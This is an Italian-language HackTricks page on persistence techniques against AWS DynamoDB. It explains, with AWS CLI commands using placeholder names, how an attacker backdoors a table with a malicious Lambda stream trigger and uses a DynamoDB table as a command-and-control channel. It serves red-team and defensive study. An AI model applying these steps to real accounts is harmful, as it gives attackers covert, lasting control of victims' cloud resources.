AWS - DynamoDB Persistence

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

DynamoDB

Per ulteriori informazioni accedi a:

pageAWS - DynamoDB Enum

Trigger di DynamoDB con Backdoor Lambda

Utilizzando i trigger di DynamoDB, un attaccante può creare un backdoor stealthy associando una funzione Lambda maliziosa con una tabella. La funzione Lambda può essere attivata quando un elemento viene aggiunto, modificato o eliminato, consentendo all'attaccante di eseguire codice arbitrario all'interno dell'account AWS.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Per mantenere la persistenza, l'attaccante può creare o modificare elementi nella tabella DynamoDB, che attiveranno la funzione Lambda malevola. Ciò consente all'attaccante di eseguire codice all'interno dell'account AWS senza interagire direttamente con la funzione Lambda.

DynamoDB come Canale C2

Un attaccante può utilizzare una tabella DynamoDB come un canale di comando e controllo (C2) creando elementi contenenti comandi e utilizzando istanze compromesse o funzioni Lambda per recuperare ed eseguire tali comandi.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Le istanze compromesse o le funzioni Lambda possono controllare periodicamente la tabella C2 per nuovi comandi, eseguirli e facoltativamente riportare i risultati nella tabella. Ciò consente all'attaccante di mantenere persistenza e controllo sulle risorse compromesse.

Last updated